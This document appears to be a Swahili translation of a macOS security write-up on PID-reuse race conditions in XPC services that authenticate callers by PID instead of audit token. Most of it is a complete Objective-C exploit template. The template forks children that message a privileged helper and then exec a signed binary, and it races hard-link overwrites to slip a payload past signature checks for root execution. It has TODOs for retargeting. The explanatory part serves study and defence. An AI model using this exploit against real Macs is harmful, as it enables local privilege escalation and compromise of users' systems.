Wakati huduma ya XPC ya macOS inachunguza mchakato uliopigiwa msasa kulingana na PID na sio kulingana na ishara ya ukaguzi, inakuwa na hatari ya shambulio la rejelea ya PID. Shambulio hili linategemea hali ya mbio ambapo kudukua kutatuma ujumbe kwa huduma ya XPC kutumia vibaya utendaji na mara baada ya hilo, kutekeleza posix_spawn(NULL, lengo_binary, NULL, &attr, lengo_argv, mazingira) na binary iliyoruhusiwa.
Kazi hii itafanya binary iliyoruhusiwa iwe na PID lakini ujumbe wa XPC wenye nia mbaya ungekuwa umetumwa muda mfupi kabla. Kwa hivyo, ikiwa huduma ya XPC inatumia PID kwa uthibitishaji wa mtumaji na kuangalia BAADA YA utekelezaji wa posix_spawn, itadhani inatoka kwa mchakato ulioidhinishwa.
Mfano wa Kudukua
Ikiwa unapata kazi ya shouldAcceptNewConnection au kazi inayoitwa na hiyo ikiitaprocessIdentifier na sio kuita auditToken. Inamaanisha kwa kiwango kikubwa kuwa inathibitisha PID ya mchakato na sio ishara ya ukaguzi.
Kama kwa mfano katika picha hii (ilichukuliwa kutoka kwa kumbukumbu):
Angalia kudukua mfano huu (tena, uliochukuliwa kutoka kwa kumbukumbu) kuona sehemu 2 za kudukua:
Moja ambayo inaunda matawi kadhaa
Kila tawi litatuma mzigo kwa huduma ya XPC wakati ikitekeleza posix_spawn mara tu baada ya kutuma ujumbe.
Mfano huu hutumia fork ya moja kwa moja kuzindua watoto ambao watatumia hali ya mbio ya PID na kisha kutumia hali nyingine ya mbio kupitia kiungo ngumu:
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
// gcc -framework Foundation expl.m -o expl
#include <Foundation/Foundation.h>
#include <spawn.h>
#include <pthread.h>
// TODO: CHANGE PROTOCOL AND FUNCTIONS
@protocol HelperProtocol
- (void)DoSomething:(void (^)(_Bool))arg1;
@end
// Global flag to track exploitation status
bool pwned = false;
/**
* Continuously overwrite the contents of the 'hard_link' file in a race condition to make the
* XPC service verify the legit binary and then execute as root out payload.
*/
void *check_race(void *arg) {
while(!pwned) {
// Overwrite with contents of the legit binary
system("cat ./legit_bin > hard_link");
usleep(50000);
// Overwrite with contents of the payload to execute
// TODO: COMPILE YOUR OWN PAYLOAD BIN
system("cat ./payload > hard_link");
usleep(50000);
}
return NULL;
}
void child_xpc_pid_rc_abuse(){
// TODO: INDICATE A VALID BIN TO BYPASS SIGN VERIFICATION
#define kValid "./Legit Updater.app/Contents/MacOS/Legit"
extern char **environ;
// Connect with XPC service
// TODO: CHANGE THE ID OF THE XPC TO EXPLOIT
NSString* service_name = @"com.example.Helper";
NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
// TODO: CNAGE THE PROTOCOL NAME
NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
[connection setRemoteObjectInterface:interface];
[connection resume];
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error) {
NSLog(@"[-] Something went wrong");
NSLog(@"[-] Error: %@", error);
}];
NSLog(@"obj: %@", obj);
NSLog(@"conn: %@", connection);
// Call vulenrable XPC function
// TODO: CHANEG NAME OF FUNCTION TO CALL
[obj DoSomething:^(_Bool b){
NSLog(@"Response, %hdd", b);
}];
// Change current process to the legit binary suspended
char target_binary[] = kValid;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}
/**
* Function to perform the PID race condition using children calling the XPC exploit.
*/
void xpc_pid_rc_abuse() {
#define RACE_COUNT 1
extern char **environ;
int pids[RACE_COUNT];
// Fork child processes to exploit
for (int i = 0; i < RACE_COUNT; i++) {
int pid = fork();
if (pid == 0) { // If a child process
child_xpc_pid_rc_abuse();
}
printf("forked %d\n", pid);
pids[i] = pid;
}
// Wait for children to finish their tasks
sleep(3);
// Terminate child processes
for (int i = 0; i < RACE_COUNT; i++) {
if (pids[i]) {
kill(pids[i], 9);
}
}
}
int main(int argc, const char * argv[]) {
// Create and set execution rights to 'hard_link' file
system("touch hard_link");
system("chmod +x hard_link");
// Create thread to exploit sign verification RC
pthread_t thread;
pthread_create(&thread, NULL, check_race, NULL);
while(!pwned) {
// Try creating 'download' directory, ignore errors
system("mkdir download 2>/dev/null");
// Create a hardlink
// TODO: CHANGE NAME OF FILE FOR SIGN VERIF RC
system("ln hard_link download/legit_bin");
xpc_pid_rc_abuse();
usleep(10000);
// The payload will generate this file if exploitation is successfull
if (access("/tmp/pwned", F_OK ) == 0) {
pwned = true;
}
}
return 0;
}
